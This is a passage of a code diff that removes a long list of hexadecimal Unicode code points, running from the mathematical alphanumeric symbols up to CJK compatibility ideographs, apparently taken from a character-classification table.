-        0x1D4B8,
-        0x1D4B9,
-        0x1D4BA,
-        0x1D4BB,
-        0x1D4BC,
-        0x1D4BD,
-        0x1D4BE,
-        0x1D4BF,
-        0x1D4C0,
-        0x1D4C1,
-        0x1D4C2,
-        0x1D4C3,
-        0x1D4C4,
-        0x1D4C5,
-        0x1D4C6,
-        0x1D4C7,
-        0x1D4C8,
-        0x1D4C9,
-        0x1D4CA,
-        0x1D4CB,
-        0x1D4CC,
-        0x1D4CD,
-        0x1D4CE,
-        0x1D4CF,
-        0x1D4D0,
-        0x1D4D1,
-        0x1D4D2,
-        0x1D4D3,
-        0x1D4D4,
-        0x1D4D5,
-        0x1D4D6,
-        0x1D4D7,
-        0x1D4D8,
-        0x1D4D9,
-        0x1D4DA,
-        0x1D4DB,
-        0x1D4DC,
-        0x1D4DD,
-        0x1D4DE,
-        0x1D4DF,
-        0x1D4E0,
-        0x1D4E1,
-        0x1D4E2,
-        0x1D4E3,
-        0x1D4E4,
-        0x1D4E5,
-        0x1D4E6,
-        0x1D4E7,
-        0x1D4E8,
-        0x1D4E9,
-        0x1D4EA,
-        0x1D4EB,
-        0x1D4EC,
-        0x1D4ED,
-        0x1D4EE,
-        0x1D4EF,
-        0x1D4F0,
-        0x1D4F1,
-        0x1D4F2,
-        0x1D4F3,
-        0x1D4F4,
-        0x1D4F5,
-        0x1D4F6,
-        0x1D4F7,
-        0x1D4F8,
-        0x1D4F9,
-        0x1D4FA,
-        0x1D4FB,
-        0x1D4FC,
-        0x1D4FD,
-        0x1D4FE,
-        0x1D4FF,
-        0x1D500,
-        0x1D501,
-        0x1D502,
-        0x1D503,
-        0x1D504,
-        0x1D505,
-        0x1D506,
-        0x1D507,
-        0x1D508,
-        0x1D509,
-        0x1D50A,
-        0x1D50B,
-        0x1D50D,
-        0x1D50E,
-        0x1D50F,
-        0x1D510,
-        0x1D511,
-        0x1D512,
-        0x1D513,
-        0x1D514,
-        0x1D515,
-        0x1D516,
-        0x1D517,
-        0x1D518,
-        0x1D519,
-        0x1D51A,
-        0x1D51B,
-        0x1D51C,
-        0x1D51D,
-        0x1D51E,
-        0x1D51F,
-        0x1D520,
-        0x1D521,
-        0x1D522,
-        0x1D523,
-        0x1D524,
-        0x1D525,
-        0x1D526,
-        0x1D527,
-        0x1D528,
-        0x1D529,
-        0x1D52A,
-        0x1D52B,
-        0x1D52C,
-        0x1D52D,
-        0x1D52E,
-        0x1D52F,
-        0x1D530,
-        0x1D531,
-        0x1D532,
-        0x1D533,
-        0x1D534,
-        0x1D535,
-        0x1D536,
-        0x1D537,
-        0x1D538,
-        0x1D539,
-        0x1D53A,
-        0x1D53B,
-        0x1D53C,
-        0x1D53D,
-        0x1D53E,
-        0x1D53F,
-        0x1D540,
-        0x1D541,
-        0x1D542,
-        0x1D543,
-        0x1D544,
-        0x1D545,
-        0x1D546,
-        0x1D547,
-        0x1D54A,
-        0x1D54B,
-        0x1D54C,
-        0x1D54D,
-        0x1D54E,
-        0x1D54F,
-        0x1D550,
-        0x1D551,
-        0x1D552,
-        0x1D553,
-        0x1D554,
-        0x1D555,
-        0x1D556,
-        0x1D557,
-        0x1D558,
-        0x1D559,
-        0x1D55A,
-        0x1D55B,
-        0x1D55C,
-        0x1D55D,
-        0x1D55E,
-        0x1D55F,
-        0x1D560,
-        0x1D561,
-        0x1D562,
-        0x1D563,
-        0x1D564,
-        0x1D565,
-        0x1D566,
-        0x1D567,
-        0x1D568,
-        0x1D569,
-        0x1D56A,
-        0x1D56B,
-        0x1D56C,
-        0x1D56D,
-        0x1D56E,
-        0x1D56F,
-        0x1D570,
-        0x1D571,
-        0x1D572,
-        0x1D573,
-        0x1D574,
-        0x1D575,
-        0x1D576,
-        0x1D577,
-        0x1D578,
-        0x1D579,
-        0x1D57A,
-        0x1D57B,
-        0x1D57C,
-        0x1D57D,
-        0x1D57E,
-        0x1D57F,
-        0x1D580,
-        0x1D581,
-        0x1D582,
-        0x1D583,
-        0x1D584,
-        0x1D585,
-        0x1D586,
-        0x1D587,
-        0x1D588,
-        0x1D589,
-        0x1D58A,
-        0x1D58B,
-        0x1D58C,
-        0x1D58D,
-        0x1D58E,
-        0x1D58F,
-        0x1D590,
-        0x1D591,
-        0x1D592,
-        0x1D593,
-        0x1D594,
-        0x1D595,
-        0x1D596,
-        0x1D597,
-        0x1D598,
-        0x1D599,
-        0x1D59A,
-        0x1D59B,
-        0x1D59C,
-        0x1D59D,
-        0x1D59E,
-        0x1D59F,
-        0x1D5A0,
-        0x1D5A1,
-        0x1D5A2,
-        0x1D5A3,
-        0x1D5A4,
-        0x1D5A5,
-        0x1D5A6,
-        0x1D5A7,
-        0x1D5A8,
-        0x1D5A9,
-        0x1D5AA,
-        0x1D5AB,
-        0x1D5AC,
-        0x1D5AD,
-        0x1D5AE,
-        0x1D5AF,
-        0x1D5B0,
-        0x1D5B1,
-        0x1D5B2,
-        0x1D5B3,
-        0x1D5B4,
-        0x1D5B5,
-        0x1D5B6,
-        0x1D5B7,
-        0x1D5B8,
-        0x1D5B9,
-        0x1D5BA,
-        0x1D5BB,
-        0x1D5BC,
-        0x1D5BD,
-        0x1D5BE,
-        0x1D5BF,
-        0x1D5C0,
-        0x1D5C1,
-        0x1D5C2,
-        0x1D5C3,
-        0x1D5C4,
-        0x1D5C5,
-        0x1D5C6,
-        0x1D5C7,
-        0x1D5C8,
-        0x1D5C9,
-        0x1D5CA,
-        0x1D5CB,
-        0x1D5CC,
-        0x1D5CD,
-        0x1D5CE,
-        0x1D5CF,
-        0x1D5D0,
-        0x1D5D1,
-        0x1D5D2,
-        0x1D5D3,
-        0x1D5D4,
-        0x1D5D5,
-        0x1D5D6,
-        0x1D5D7,
-        0x1D5D8,
-        0x1D5D9,
-        0x1D5DA,
-        0x1D5DB,
-        0x1D5DC,
-        0x1D5DD,
-        0x1D5DE,
-        0x1D5DF,
-        0x1D5E0,
-        0x1D5E1,
-        0x1D5E2,
-        0x1D5E3,
-        0x1D5E4,
-        0x1D5E5,
-        0x1D5E6,
-        0x1D5E7,
-        0x1D5E8,
-        0x1D5E9,
-        0x1D5EA,
-        0x1D5EB,
-        0x1D5EC,
-        0x1D5ED,
-        0x1D5EE,
-        0x1D5EF,
-        0x1D5F0,
-        0x1D5F1,
-        0x1D5F2,
-        0x1D5F3,
-        0x1D5F4,
-        0x1D5F5,
-        0x1D5F6,
-        0x1D5F7,
-        0x1D5F8,
-        0x1D5F9,
-        0x1D5FA,
-        0x1D5FB,
-        0x1D5FC,
-        0x1D5FD,
-        0x1D5FE,
-        0x1D5FF,
-        0x1D600,
-        0x1D601,
-        0x1D602,
-        0x1D603,
-        0x1D604,
-        0x1D605,
-        0x1D606,
-        0x1D607,
-        0x1D608,
-        0x1D609,
-        0x1D60A,
-        0x1D60B,
-        0x1D60C,
-        0x1D60D,
-        0x1D60E,
-        0x1D60F,
-        0x1D610,
-        0x1D611,
-        0x1D612,
-        0x1D613,
-        0x1D614,
-        0x1D615,
-        0x1D616,
-        0x1D617,
-        0x1D618,
-        0x1D619,
-        0x1D61A,
-        0x1D61B,
-        0x1D61C,
-        0x1D61D,
-        0x1D61E,
-        0x1D61F,
-        0x1D620,
-        0x1D621,
-        0x1D622,
-        0x1D623,
-        0x1D624,
-        0x1D625,
-        0x1D626,
-        0x1D627,
-        0x1D628,
-        0x1D629,
-        0x1D62A,
-        0x1D62B,
-        0x1D62C,
-        0x1D62D,
-        0x1D62E,
-        0x1D62F,
-        0x1D630,
-        0x1D631,
-        0x1D632,
-        0x1D633,
-        0x1D634,
-        0x1D635,
-        0x1D636,
-        0x1D637,
-        0x1D638,
-        0x1D639,
-        0x1D63A,
-        0x1D63B,
-        0x1D63C,
-        0x1D63D,
-        0x1D63E,
-        0x1D63F,
-        0x1D640,
-        0x1D641,
-        0x1D642,
-        0x1D643,
-        0x1D644,
-        0x1D645,
-        0x1D646,
-        0x1D647,
-        0x1D648,
-        0x1D649,
-        0x1D64A,
-        0x1D64B,
-        0x1D64C,
-        0x1D64D,
-        0x1D64E,
-        0x1D64F,
-        0x1D650,
-        0x1D651,
-        0x1D652,
-        0x1D653,
-        0x1D654,
-        0x1D655,
-        0x1D656,
-        0x1D657,
-        0x1D658,
-        0x1D659,
-        0x1D65A,
-        0x1D65B,
-        0x1D65C,
-        0x1D65D,
-        0x1D65E,
-        0x1D65F,
-        0x1D660,
-        0x1D661,
-        0x1D662,
-        0x1D663,
-        0x1D664,
-        0x1D665,
-        0x1D666,
-        0x1D667,
-        0x1D668,
-        0x1D669,
-        0x1D66A,
-        0x1D66B,
-        0x1D66C,
-        0x1D66D,
-        0x1D66E,
-        0x1D66F,
-        0x1D670,
-        0x1D671,
-        0x1D672,
-        0x1D673,
-        0x1D674,
-        0x1D675,
-        0x1D676,
-        0x1D677,
-        0x1D678,
-        0x1D679,
-        0x1D67A,
-        0x1D67B,
-        0x1D67C,
-        0x1D67D,
-        0x1D67E,
-        0x1D67F,
-        0x1D680,
-        0x1D681,
-        0x1D682,
-        0x1D683,
-        0x1D684,
-        0x1D685,
-        0x1D686,
-        0x1D687,
-        0x1D688,
-        0x1D689,
-        0x1D68A,
-        0x1D68B,
-        0x1D68C,
-        0x1D68D,
-        0x1D68E,
-        0x1D68F,
-        0x1D690,
-        0x1D691,
-        0x1D692,
-        0x1D693,
-        0x1D694,
-        0x1D695,
-        0x1D696,
-        0x1D697,
-        0x1D698,
-        0x1D699,
-        0x1D69A,
-        0x1D69B,
-        0x1D69C,
-        0x1D69D,
-        0x1D69E,
-        0x1D69F,
-        0x1D6A0,
-        0x1D6A1,
-        0x1D6A2,
-        0x1D6A3,
-        0x1D6A4,
-        0x1D6A5,
-        0x1D6A6,
-        0x1D6A8,
-        0x1D6A9,
-        0x1D6AA,
-        0x1D6AB,
-        0x1D6AC,
-        0x1D6AD,
-        0x1D6AE,
-        0x1D6AF,
-        0x1D6B0,
-        0x1D6B1,
-        0x1D6B2,
-        0x1D6B3,
-        0x1D6B4,
-        0x1D6B5,
-        0x1D6B6,
-        0x1D6B7,
-        0x1D6B8,
-        0x1D6B9,
-        0x1D6BA,
-        0x1D6BB,
-        0x1D6BC,
-        0x1D6BD,
-        0x1D6BE,
-        0x1D6BF,
-        0x1D6C0,
-        0x1D6C1,
-        0x1D6C2,
-        0x1D6C3,
-        0x1D6C4,
-        0x1D6C5,
-        0x1D6C6,
-        0x1D6C7,
-        0x1D6C8,
-        0x1D6C9,
-        0x1D6CA,
-        0x1D6CB,
-        0x1D6CC,
-        0x1D6CD,
-        0x1D6CE,
-        0x1D6CF,
-        0x1D6D0,
-        0x1D6D1,
-        0x1D6D2,
-        0x1D6D3,
-        0x1D6D5,
-        0x1D6D6,
-        0x1D6D7,
-        0x1D6D8,
-        0x1D6D9,
-        0x1D6DA,
-        0x1D6DB,
-        0x1D6DC,
-        0x1D6DD,
-        0x1D6DE,
-        0x1D6DF,
-        0x1D6E0,
-        0x1D6E1,
-        0x1D6E2,
-        0x1D6E3,
-        0x1D6E4,
-        0x1D6E5,
-        0x1D6E6,
-        0x1D6E7,
-        0x1D6E8,
-        0x1D6E9,
-        0x1D6EA,
-        0x1D6EB,
-        0x1D6EC,
-        0x1D6ED,
-        0x1D6EE,
-        0x1D6EF,
-        0x1D6F0,
-        0x1D6F1,
-        0x1D6F2,
-        0x1D6F3,
-        0x1D6F4,
-        0x1D6F5,
-        0x1D6F6,
-        0x1D6F7,
-        0x1D6F8,
-        0x1D6F9,
-        0x1D6FA,
-        0x1D6FB,
-        0x1D6FC,
-        0x1D6FD,
-        0x1D6FE,
-        0x1D6FF,
-        0x1D700,
-        0x1D701,
-        0x1D702,
-        0x1D703,
-        0x1D704,
-        0x1D705,
-        0x1D706,
-        0x1D707,
-        0x1D708,
-        0x1D709,
-        0x1D70A,
-        0x1D70B,
-        0x1D70C,
-        0x1D70D,
-        0x1D70F,
-        0x1D710,
-        0x1D711,
-        0x1D712,
-        0x1D713,
-        0x1D714,
-        0x1D715,
-        0x1D716,
-        0x1D717,
-        0x1D718,
-        0x1D719,
-        0x1D71A,
-        0x1D71B,
-        0x1D71C,
-        0x1D71D,
-        0x1D71E,
-        0x1D71F,
-        0x1D720,
-        0x1D721,
-        0x1D722,
-        0x1D723,
-        0x1D724,
-        0x1D725,
-        0x1D726,
-        0x1D727,
-        0x1D728,
-        0x1D729,
-        0x1D72A,
-        0x1D72B,
-        0x1D72C,
-        0x1D72D,
-        0x1D72E,
-        0x1D72F,
-        0x1D730,
-        0x1D731,
-        0x1D732,
-        0x1D733,
-        0x1D734,
-        0x1D735,
-        0x1D736,
-        0x1D737,
-        0x1D738,
-        0x1D739,
-        0x1D73A,
-        0x1D73B,
-        0x1D73C,
-        0x1D73D,
-        0x1D73E,
-        0x1D73F,
-        0x1D740,
-        0x1D741,
-        0x1D742,
-        0x1D743,
-        0x1D744,
-        0x1D745,
-        0x1D746,
-        0x1D747,
-        0x1D749,
-        0x1D74A,
-        0x1D74B,
-        0x1D74C,
-        0x1D74D,
-        0x1D74E,
-        0x1D74F,
-        0x1D750,
-        0x1D751,
-        0x1D752,
-        0x1D753,
-        0x1D754,
-        0x1D755,
-        0x1D756,
-        0x1D757,
-        0x1D758,
-        0x1D759,
-        0x1D75A,
-        0x1D75B,
-        0x1D75C,
-        0x1D75D,
-        0x1D75E,
-        0x1D75F,
-        0x1D760,
-        0x1D761,
-        0x1D762,
-        0x1D763,
-        0x1D764,
-        0x1D765,
-        0x1D766,
-        0x1D767,
-        0x1D768,
-        0x1D769,
-        0x1D76A,
-        0x1D76B,
-        0x1D76C,
-        0x1D76D,
-        0x1D76E,
-        0x1D76F,
-        0x1D770,
-        0x1D771,
-        0x1D772,
-        0x1D773,
-        0x1D774,
-        0x1D775,
-        0x1D776,
-        0x1D777,
-        0x1D778,
-        0x1D779,
-        0x1D77A,
-        0x1D77B,
-        0x1D77C,
-        0x1D77D,
-        0x1D77E,
-        0x1D77F,
-        0x1D780,
-        0x1D781,
-        0x1D783,
-        0x1D784,
-        0x1D785,
-        0x1D786,
-        0x1D787,
-        0x1D788,
-        0x1D789,
-        0x1D78A,
-        0x1D78B,
-        0x1D78C,
-        0x1D78D,
-        0x1D78E,
-        0x1D78F,
-        0x1D790,
-        0x1D791,
-        0x1D792,
-        0x1D793,
-        0x1D794,
-        0x1D795,
-        0x1D796,
-        0x1D797,
-        0x1D798,
-        0x1D799,
-        0x1D79A,
-        0x1D79B,
-        0x1D79C,
-        0x1D79D,
-        0x1D79E,
-        0x1D79F,
-        0x1D7A0,
-        0x1D7A1,
-        0x1D7A2,
-        0x1D7A3,
-        0x1D7A4,
-        0x1D7A5,
-        0x1D7A6,
-        0x1D7A7,
-        0x1D7A8,
-        0x1D7A9,
-        0x1D7AA,
-        0x1D7AB,
-        0x1D7AC,
-        0x1D7AD,
-        0x1D7AE,
-        0x1D7AF,
-        0x1D7B0,
-        0x1D7B1,
-        0x1D7B2,
-        0x1D7B3,
-        0x1D7B4,
-        0x1D7B5,
-        0x1D7B6,
-        0x1D7B7,
-        0x1D7B8,
-        0x1D7B9,
-        0x1D7BA,
-        0x1D7BB,
-        0x1D7BD,
-        0x1D7BE,
-        0x1D7BF,
-        0x1D7C0,
-        0x1D7C1,
-        0x1D7C2,
-        0x1D7C3,
-        0x1D7C4,
-        0x1D7C5,
-        0x1D7C6,
-        0x1D7C7,
-        0x1D7C8,
-        0x1D7C9,
-        0x1D7CA,
-        0x1D7CC,
-        0x1D7CE,
-        0x1D7CF,
-        0x1D7D0,
-        0x1D7D1,
-        0x1D7D2,
-        0x1D7D3,
-        0x1D7D4,
-        0x1D7D5,
-        0x1D7D6,
-        0x1D7D7,
-        0x1D7D8,
-        0x1D7D9,
-        0x1D7DA,
-        0x1D7DB,
-        0x1D7DC,
-        0x1D7DD,
-        0x1D7DE,
-        0x1D7DF,
-        0x1D7E0,
-        0x1D7E1,
-        0x1D7E2,
-        0x1D7E3,
-        0x1D7E4,
-        0x1D7E5,
-        0x1D7E6,
-        0x1D7E7,
-        0x1D7E8,
-        0x1D7E9,
-        0x1D7EA,
-        0x1D7EB,
-        0x1D7EC,
-        0x1D7ED,
-        0x1D7EE,
-        0x1D7EF,
-        0x1D7F0,
-        0x1D7F1,
-        0x1D7F2,
-        0x1D7F3,
-        0x1D7F4,
-        0x1D7F5,
-        0x1D7F6,
-        0x1D7F7,
-        0x1D7F8,
-        0x1D7F9,
-        0x1D7FA,
-        0x1D7FB,
-        0x1D7FC,
-        0x1D7FD,
-        0x1D7FE,
-        0x1D7FF,
-        0x1D800,
-        0x1DA8C,
-        0x1DA9B,
-        0x1DAA0,
-        0x1DAA1,
-        0x1DAB0,
-        0x1DF00,
-        0x1DF1F,
-        0x1DF25,
-        0x1DF2B,
-        0x1E000,
-        0x1E007,
-        0x1E008,
-        0x1E019,
-        0x1E01B,
-        0x1E022,
-        0x1E023,
-        0x1E025,
-        0x1E026,
-        0x1E02B,
-        0x1E030,
-        0x1E031,
-        0x1E032,
-        0x1E033,
-        0x1E034,
-        0x1E035,
-        0x1E036,
-        0x1E037,
-        0x1E038,
-        0x1E039,
-        0x1E03A,
-        0x1E03B,
-        0x1E03C,
-        0x1E03D,
-        0x1E03E,
-        0x1E03F,
-        0x1E040,
-        0x1E041,
-        0x1E042,
-        0x1E043,
-        0x1E044,
-        0x1E045,
-        0x1E046,
-        0x1E047,
-        0x1E048,
-        0x1E049,
-        0x1E04A,
-        0x1E04B,
-        0x1E04C,
-        0x1E04D,
-        0x1E04E,
-        0x1E04F,
-        0x1E050,
-        0x1E051,
-        0x1E052,
-        0x1E053,
-        0x1E054,
-        0x1E055,
-        0x1E056,
-        0x1E057,
-        0x1E058,
-        0x1E059,
-        0x1E05A,
-        0x1E05B,
-        0x1E05C,
-        0x1E05D,
-        0x1E05E,
-        0x1E05F,
-        0x1E060,
-        0x1E061,
-        0x1E062,
-        0x1E063,
-        0x1E064,
-        0x1E065,
-        0x1E066,
-        0x1E067,
-        0x1E068,
-        0x1E069,
-        0x1E06A,
-        0x1E06B,
-        0x1E06C,
-        0x1E06D,
-        0x1E06E,
-        0x1E08F,
-        0x1E090,
-        0x1E100,
-        0x1E12D,
-        0x1E130,
-        0x1E13E,
-        0x1E140,
-        0x1E14A,
-        0x1E14E,
-        0x1E150,
-        0x1E290,
-        0x1E2AF,
-        0x1E2C0,
-        0x1E2FA,
-        0x1E2FF,
-        0x1E300,
-        0x1E4D0,
-        0x1E4FA,
-        0x1E5D0,
-        0x1E5FB,
-        0x1E5FF,
-        0x1E600,
-        0x1E6C0,
-        0x1E6DF,
-        0x1E6E0,
-        0x1E6F6,
-        0x1E6FE,
-        0x1E700,
-        0x1E7E0,
-        0x1E7E7,
-        0x1E7E8,
-        0x1E7EC,
-        0x1E7ED,
-        0x1E7EF,
-        0x1E7F0,
-        0x1E7FF,
-        0x1E800,
-        0x1E8C5,
-        0x1E8C7,
-        0x1E8D7,
-        0x1E900,
-        0x1E901,
-        0x1E902,
-        0x1E903,
-        0x1E904,
-        0x1E905,
-        0x1E906,
-        0x1E907,
-        0x1E908,
-        0x1E909,
-        0x1E90A,
-        0x1E90B,
-        0x1E90C,
-        0x1E90D,
-        0x1E90E,
-        0x1E90F,
-        0x1E910,
-        0x1E911,
-        0x1E912,
-        0x1E913,
-        0x1E914,
-        0x1E915,
-        0x1E916,
-        0x1E917,
-        0x1E918,
-        0x1E919,
-        0x1E91A,
-        0x1E91B,
-        0x1E91C,
-        0x1E91D,
-        0x1E91E,
-        0x1E91F,
-        0x1E920,
-        0x1E921,
-        0x1E922,
-        0x1E94C,
-        0x1E950,
-        0x1E95A,
-        0x1E95E,
-        0x1E960,
-        0x1EC71,
-        0x1ECB5,
-        0x1ED01,
-        0x1ED3E,
-        0x1EE00,
-        0x1EE01,
-        0x1EE02,
-        0x1EE03,
-        0x1EE04,
-        0x1EE05,
-        0x1EE06,
-        0x1EE07,
-        0x1EE08,
-        0x1EE09,
-        0x1EE0A,
-        0x1EE0B,
-        0x1EE0C,
-        0x1EE0D,
-        0x1EE0E,
-        0x1EE0F,
-        0x1EE10,
-        0x1EE11,
-        0x1EE12,
-        0x1EE13,
-        0x1EE14,
-        0x1EE15,
-        0x1EE16,
-        0x1EE17,
-        0x1EE18,
-        0x1EE19,
-        0x1EE1A,
-        0x1EE1B,
-        0x1EE1C,
-        0x1EE1D,
-        0x1EE1E,
-        0x1EE1F,
-        0x1EE20,
-        0x1EE21,
-        0x1EE22,
-        0x1EE23,
-        0x1EE24,
-        0x1EE25,
-        0x1EE27,
-        0x1EE28,
-        0x1EE29,
-        0x1EE2A,
-        0x1EE2B,
-        0x1EE2C,
-        0x1EE2D,
-        0x1EE2E,
-        0x1EE2F,
-        0x1EE30,
-        0x1EE31,
-        0x1EE32,
-        0x1EE33,
-        0x1EE34,
-        0x1EE35,
-        0x1EE36,
-        0x1EE37,
-        0x1EE38,
-        0x1EE39,
-        0x1EE3A,
-        0x1EE3B,
-        0x1EE3C,
-        0x1EE42,
-        0x1EE43,
-        0x1EE47,
-        0x1EE48,
-        0x1EE49,
-        0x1EE4A,
-        0x1EE4B,
-        0x1EE4C,
-        0x1EE4D,
-        0x1EE4E,
-        0x1EE4F,
-        0x1EE50,
-        0x1EE51,
-        0x1EE52,
-        0x1EE53,
-        0x1EE54,
-        0x1EE55,
-        0x1EE57,
-        0x1EE58,
-        0x1EE59,
-        0x1EE5A,
-        0x1EE5B,
-        0x1EE5C,
-        0x1EE5D,
-        0x1EE5E,
-        0x1EE5F,
-        0x1EE60,
-        0x1EE61,
-        0x1EE62,
-        0x1EE63,
-        0x1EE64,
-        0x1EE65,
-        0x1EE67,
-        0x1EE68,
-        0x1EE69,
-        0x1EE6A,
-        0x1EE6B,
-        0x1EE6C,
-        0x1EE6D,
-        0x1EE6E,
-        0x1EE6F,
-        0x1EE70,
-        0x1EE71,
-        0x1EE72,
-        0x1EE73,
-        0x1EE74,
-        0x1EE75,
-        0x1EE76,
-        0x1EE77,
-        0x1EE78,
-        0x1EE79,
-        0x1EE7A,
-        0x1EE7B,
-        0x1EE7C,
-        0x1EE7D,
-        0x1EE7E,
-        0x1EE7F,
-        0x1EE80,
-        0x1EE81,
-        0x1EE82,
-        0x1EE83,
-        0x1EE84,
-        0x1EE85,
-        0x1EE86,
-        0x1EE87,
-        0x1EE88,
-        0x1EE89,
-        0x1EE8A,
-        0x1EE8B,
-        0x1EE8C,
-        0x1EE8D,
-        0x1EE8E,
-        0x1EE8F,
-        0x1EE90,
-        0x1EE91,
-        0x1EE92,
-        0x1EE93,
-        0x1EE94,
-        0x1EE95,
-        0x1EE96,
-        0x1EE97,
-        0x1EE98,
-        0x1EE99,
-        0x1EE9A,
-        0x1EE9B,
-        0x1EE9C,
-        0x1EEA1,
-        0x1EEA2,
-        0x1EEA3,
-        0x1EEA4,
-        0x1EEA5,
-        0x1EEA6,
-        0x1EEA7,
-        0x1EEA8,
-        0x1EEA9,
-        0x1EEAA,
-        0x1EEAB,
-        0x1EEAC,
-        0x1EEAD,
-        0x1EEAE,
-        0x1EEAF,
-        0x1EEB0,
-        0x1EEB1,
-        0x1EEB2,
-        0x1EEB3,
-        0x1EEB4,
-        0x1EEB5,
-        0x1EEB6,
-        0x1EEB7,
-        0x1EEB8,
-        0x1EEB9,
-        0x1EEBA,
-        0x1EEBB,
-        0x1EEBC,
-        0x1EEF0,
-        0x1EEF2,
-        0x1F000,
-        0x1F02C,
-        0x1F030,
-        0x1F094,
-        0x1F0A0,
-        0x1F0AF,
-        0x1F0B1,
-        0x1F0C0,
-        0x1F0C1,
-        0x1F0D0,
-        0x1F0D1,
-        0x1F0F6,
-        0x1F101,
-        0x1F102,
-        0x1F103,
-        0x1F104,
-        0x1F105,
-        0x1F106,
-        0x1F107,
-        0x1F108,
-        0x1F109,
-        0x1F10A,
-        0x1F10B,
-        0x1F110,
-        0x1F111,
-        0x1F112,
-        0x1F113,
-        0x1F114,
-        0x1F115,
-        0x1F116,
-        0x1F117,
-        0x1F118,
-        0x1F119,
-        0x1F11A,
-        0x1F11B,
-        0x1F11C,
-        0x1F11D,
-        0x1F11E,
-        0x1F11F,
-        0x1F120,
-        0x1F121,
-        0x1F122,
-        0x1F123,
-        0x1F124,
-        0x1F125,
-        0x1F126,
-        0x1F127,
-        0x1F128,
-        0x1F129,
-        0x1F12A,
-        0x1F12B,
-        0x1F12C,
-        0x1F12D,
-        0x1F12E,
-        0x1F12F,
-        0x1F130,
-        0x1F131,
-        0x1F132,
-        0x1F133,
-        0x1F134,
-        0x1F135,
-        0x1F136,
-        0x1F137,
-        0x1F138,
-        0x1F139,
-        0x1F13A,
-        0x1F13B,
-        0x1F13C,
-        0x1F13D,
-        0x1F13E,
-        0x1F13F,
-        0x1F140,
-        0x1F141,
-        0x1F142,
-        0x1F143,
-        0x1F144,
-        0x1F145,
-        0x1F146,
-        0x1F147,
-        0x1F148,
-        0x1F149,
-        0x1F14A,
-        0x1F14B,
-        0x1F14C,
-        0x1F14D,
-        0x1F14E,
-        0x1F14F,
-        0x1F150,
-        0x1F16A,
-        0x1F16B,
-        0x1F16C,
-        0x1F16D,
-        0x1F190,
-        0x1F191,
-        0x1F1AE,
-        0x1F1E6,
-        0x1F200,
-        0x1F201,
-        0x1F202,
-        0x1F203,
-        0x1F210,
-        0x1F211,
-        0x1F212,
-        0x1F213,
-        0x1F214,
-        0x1F215,
-        0x1F216,
-        0x1F217,
-        0x1F218,
-        0x1F219,
-        0x1F21A,
-        0x1F21B,
-        0x1F21C,
-        0x1F21D,
-        0x1F21E,
-        0x1F21F,
-        0x1F220,
-        0x1F221,
-        0x1F222,
-        0x1F223,
-        0x1F224,
-        0x1F225,
-        0x1F226,
-        0x1F227,
-        0x1F228,
-        0x1F229,
-        0x1F22A,
-        0x1F22B,
-        0x1F22C,
-        0x1F22D,
-        0x1F22E,
-        0x1F22F,
-        0x1F230,
-        0x1F231,
-        0x1F232,
-        0x1F233,
-        0x1F234,
-        0x1F235,
-        0x1F236,
-        0x1F237,
-        0x1F238,
-        0x1F239,
-        0x1F23A,
-        0x1F23B,
-        0x1F23C,
-        0x1F240,
-        0x1F241,
-        0x1F242,
-        0x1F243,
-        0x1F244,
-        0x1F245,
-        0x1F246,
-        0x1F247,
-        0x1F248,
-        0x1F249,
-        0x1F250,
-        0x1F251,
-        0x1F252,
-        0x1F260,
-        0x1F266,
-        0x1F300,
-        0x1F6D9,
-        0x1F6DC,
-        0x1F6ED,
-        0x1F6F0,
-        0x1F6FD,
-        0x1F700,
-        0x1F7DA,
-        0x1F7E0,
-        0x1F7EC,
-        0x1F7F0,
-        0x1F7F1,
-        0x1F800,
-        0x1F80C,
-        0x1F810,
-        0x1F848,
-        0x1F850,
-        0x1F85A,
-        0x1F860,
-        0x1F888,
-        0x1F890,
-        0x1F8AE,
-        0x1F8B0,
-        0x1F8BC,
-        0x1F8C0,
-        0x1F8C2,
-        0x1F8D0,
-        0x1F8D9,
-        0x1F900,
-        0x1FA58,
-        0x1FA60,
-        0x1FA6E,
-        0x1FA70,
-        0x1FA7D,
-        0x1FA80,
-        0x1FA8B,
-        0x1FA8E,
-        0x1FAC7,
-        0x1FAC8,
-        0x1FAC9,
-        0x1FACD,
-        0x1FADD,
-        0x1FADF,
-        0x1FAEB,
-        0x1FAEF,
-        0x1FAF9,
-        0x1FB00,
-        0x1FB93,
-        0x1FB94,
-        0x1FBF0,
-        0x1FBF1,
-        0x1FBF2,
-        0x1FBF3,
-        0x1FBF4,
-        0x1FBF5,
-        0x1FBF6,
-        0x1FBF7,
-        0x1FBF8,
-        0x1FBF9,
-        0x1FBFA,
-        0x1FBFB,
-        0x20000,
-        0x2A6E0,
-        0x2A700,
-        0x2B81E,
-        0x2B820,
-        0x2CEAE,
-        0x2CEB0,
-        0x2EBE1,
-        0x2EBF0,
-        0x2EE5E,
-        0x2F800,
-        0x2F801,
-        0x2F802,
-        0x2F803,
-        0x2F804,
-        0x2F805,
-        0x2F806,
-        0x2F807,
-        0x2F808,
-        0x2F809,
-        0x2F80A,
-        0x2F80B,
-        0x2F80C,
-        0x2F80D,
-        0x2F80E,
-        0x2F80F,
-        0x2F810,
-        0x2F811,
-        0x2F812,
-        0x2F813,
-        0x2F814,
-        0x2F815,
-        0x2F816,
-        0x2F817,
-        0x2F818,
-        0x2F819,
-        0x2F81A,
-        0x2F81B,
-        0x2F81C,
-        0x2F81D,
-        0x2F81E,
-        0x2F81F,
-        0x2F820,
-        0x2F821,
-        0x2F822,
-        0x2F823,
-        0x2F824,
-        0x2F825,
-        0x2F826,
-        0x2F827,
-        0x2F828,
-        0x2F829,
-        0x2F82A,
-        0x2F82B,
-        0x2F82C,
-        0x2F82D,
-        0x2F82E,
-        0x2F82F,
-        0x2F830,
-        0x2F831,
-        0x2F834,
-        0x2F835,
-        0x2F836,
-        0x2F837,
-        0x2F838,
-        0x2F839,
-        0x2F83A,
-        0x2F83B,
-        0x2F83C,
-        0x2F83D,
-        0x2F83E,
-        0x2F83F,
-        0x2F840,
-        0x2F841,
-        0x2F842,
-        0x2F843,
-        0x2F844,
-        0x2F845,
-        0x2F847,
-        0x2F848,
-        0x2F849,
-        0x2F84A,
-        0x2F84B,
-        0x2F84C,
-        0x2F84D,
-        0x2F84E,
-        0x2F84F,
-        0x2F850,
-        0x2F851,
-        0x2F852,
-        0x2F853,
-        0x2F854,
-        0x2F855,
-        0x2F856,
-        0x2F857,
-        0x2F858,
-        0x2F859,
-        0x2F85A,
-        0x2F85B,
-        0x2F85C,
-        0x2F85D,
-        0x2F85E,
-        0x2F85F,
-        0x2F860,
-        0x2F861,
-        0x2F862,
-        0x2F863,
-        0x2F864,
-        0x2F865,
-        0x2F866,
